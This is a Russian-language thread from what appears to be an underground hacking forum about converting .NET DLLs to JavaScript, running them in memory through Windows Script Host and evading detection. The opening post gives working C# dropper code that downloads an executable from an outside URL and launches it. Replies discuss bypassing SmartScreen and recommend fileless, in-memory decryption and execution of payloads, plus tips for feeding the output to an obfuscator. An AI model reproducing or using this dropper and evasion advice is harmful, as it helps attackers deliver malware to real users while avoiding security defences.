• XSS.stack #1 – первый литературный журнал от юзеров форума

Превращаем .NET dll в JavaScript и обходим детект

dunkel

(L1) cache
Пользователь
Регистрация
29.06.2023
Сообщения
921
Реакции
1 102
Гарант сделки
1
Депозит
0.012 Ł
Выполняем dotnet в памяти WSH

лоадер/дроппер из видео
C#:
using System;
using System.Net;
using System.Diagnostics;

public class Main
{
    public Main()
    {
        string url = "http://myc01.free.fr/msgbox/msgbox.exe";
        string downloadPath = "msgbox.exe";

        try
        {
            using (WebClient client = new WebClient())
            {
                client.DownloadFile(url, downloadPath);
            }

            Process.Start(downloadPath);
        }
        catch (Exception ex)
        {
            Console.WriteLine($"Ошибка: {ex.Message}");
        }
    }
}
Видео на файлообменнике https://filetransfer.io/data-package/WtC0uZ4w#link
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Смартскрин все равно будет? Да же если на стороне JS снять метку у полезной нагрузки что скачен из инета?
 
Смартскрин все равно будет? Да же если на стороне JS снять метку у полезной нагрузки что скачен из инета?
Не, наоборот не будет.
Смартскрин вылез только когда я скачал экзешку через браузер, пересмотри видос внимательно
Дроппер же загружает через функцию client.DownloadFile
 
А вообще этот дроппер который скачивает файл просто для примера.
Нужно все загружать в оперативную память, там же расшифровывать и выполнять, и не оставлять никаких файлов
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не, наоборот не будет.
Смартскрин вылез только когда я скачал экзешку через браузер, пересмотри видос внимательно
Дроппер же загружает через функцию client.DownloadFile
Интересно, если реал смартскрин обойти так можно, побалуюсь.
 
Важное дополнение
В утилите можно указать версию дотнета самому после аргумента -v
Так вот не делайте этого, инфа о версии дотнета должна быть в Assembly Info
Если у вашей дллки нет Assembly Info, определите ее через Detect it Easy и отредактируйте вручную Assembly Info
Иначе утилита генерирует синтаксически неправильный скрипт, который вызывает ошибку в обфускаторе
1720314089709.png
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх